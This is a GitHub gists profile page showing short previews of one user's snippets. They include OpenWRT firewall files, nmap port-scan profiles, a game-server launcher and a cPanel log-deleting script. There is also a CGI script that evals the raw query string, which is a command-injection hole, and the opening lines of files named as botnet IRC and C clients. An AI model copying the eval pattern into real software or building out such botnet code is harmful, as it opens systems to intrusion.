Skip to content

Instantly share code, notes, and snippets.

Jeffery Wilkins CanadianJeff

Block or report user

Report or block CanadianJeff

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View www_cgi-bin_ipset
#!/bin/sh
echo 'Content-type: text/html'
echo ''
saveIFS=$IFS
IFS='&'
eval "$QUERY_STRING"
IFS=$saveIFS
ACTION=${action}
IP=${ip}
RULESET=${ruleset}
View firewall.user
#!/bin/sh
# This file is interpreted as shell script.
# Put your custom iptables rules here, they will
# be executed with each firewall (re-)start.
# Internal uci firewall chains are flushed and recreated on reload, so
# put custom rules into the root chains e.g. INPUT or FORWARD or into the
# special user chains, e.g. input_wan_rule or postrouting_lan_rule.
#exec >/dev/ttyS0
View scan_profile.usp
[All TCP ports scan]
command = nmap -sS -p 1-65535 -Pn
description = Scan all ports on a host.
[Common TCP connect scan]
command = nmap -sT -p 17,19,21,22,23,25,26,37,53,80,88,110,113,123,135,137,138,139,143,443,444,445,548,554,843,993,995,1027,1030,1064,1080,1194,1221,1433,2082,2083,2084,2086,2087,2095,2096,3074,3306,3333,3389,3784,4899,5631,5800,5900,6665-6669,6697,8000,8080,8088,10000,17500,32764 -n -Pn -r
description = Scan Common Used Ports
[Common TCP syn scan]
command = nmap -sS -p 17,19,21,22,23,25,26,37,53,80,88,110,113,123,135,137,138,139,143,443,444,445,548,554,843,993,995,1027,1030,1064,1080,1194,1221,1433,2082,2083,2084,2086,2087,2095,2096,3074,3306,3333,3389,3784,4899,5631,5800,5900,6665-6669,6697,8000,8080,8088,10000,17500,32764 -n -Pn -r
@CanadianJeff
CanadianJeff / firewall.user
Last active Jun 5, 2019
OpenWRT /etc/firewall.user
View firewall.user
#!/bin/sh
# This file is interpreted as shell script.
# Put your custom iptables rules here, they will
# be executed with each firewall (re-)start.
# Internal uci firewall chains are flushed and recreated on reload, so
# put custom rules into the root chains e.g. INPUT or FORWARD or into the
# special user chains, e.g. input_wan_rule or postrouting_lan_rule.
exec >/dev/ttyS0
@CanadianJeff
CanadianJeff / openwrt-apu2-extras.sh
Last active Jul 27, 2019
Extra Packages For LEDE/OpenWRT
View openwrt-apu2-extras.sh
opkg install \
amd64-microcode \
block-mount \
coreutils-stty \
flashrom \
irqbalance \
libmount \
luci-app-samba \
luci-app-upnp \
kmod-ath9k \
@CanadianJeff
CanadianJeff / srcds_server.sh
Last active Oct 31, 2018
Starting a SRCDS Server From Shell
View srcds_server.sh
#!/usr/bin/env bash
export NCURSES_NO_UTF8_ACS=1
## Variables
conport=27016
wsid=1552032032
maxplayers=25
steampath="/opt/steam"
TERMINAL="/dev/tty"
HEIGHT=20
View sampleoutput.txt
2016-08-18 20:27:32.607000 New connection: 52.202.215.126:38674 (ec2-52-202-215-126.compute-1.amazonaws.com)
2016-08-18 20:27:32.611000 IP: 52.202.215.126 CITY: Ashburn
2016-08-18 20:27:32.615000 IP: 52.202.215.126 REGION: Virginia
2016-08-18 20:27:32.616000 IP: 52.202.215.126 COUNTRY: US
2016-08-18 20:27:32.618000 IP: 52.202.215.126 ORG: AS14618 Amazon.com, Inc.
2016-08-18 20:27:35.721000 IP: 52.202.215.126 PORT: 80 (open)
2016-08-18 20:27:39.723000 IP: 52.202.215.126 SCAN FINISHED IN 0:00:07.103000 SECONDS
View botnetircclient.py
import random
import string
import threading
import time
import sys
import socket
import JustIRC
def get_random_nick():
random_part = "".join([random.choice("abcdef0123456789_") for i in range(10)])
View botnetclient.c
#define SERVER_LIST_SIZE (sizeof(honeyPot) / sizeof(unsigned char *))
#define PR_SET_NAME 15
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
@CanadianJeff
CanadianJeff / clean_apachelogs.sh
Created Nov 15, 2015
Clean cPanel Apache Logs
View clean_apachelogs.sh
#!/bin/bash
echo "Stopping HTTPD"
service httpd stop &>/dev/null
killall httpd &>/dev/null
rm -rf /tmp/sess_*
find /home/share -name 'error_log' -exec rm -rf {} \;
find /home/*/public_html -name 'error_log' -exec rm -rf {} \;
find /var/www/apache -name 'error_log' -exec rm -rf {} \;
You can’t perform that action at this time.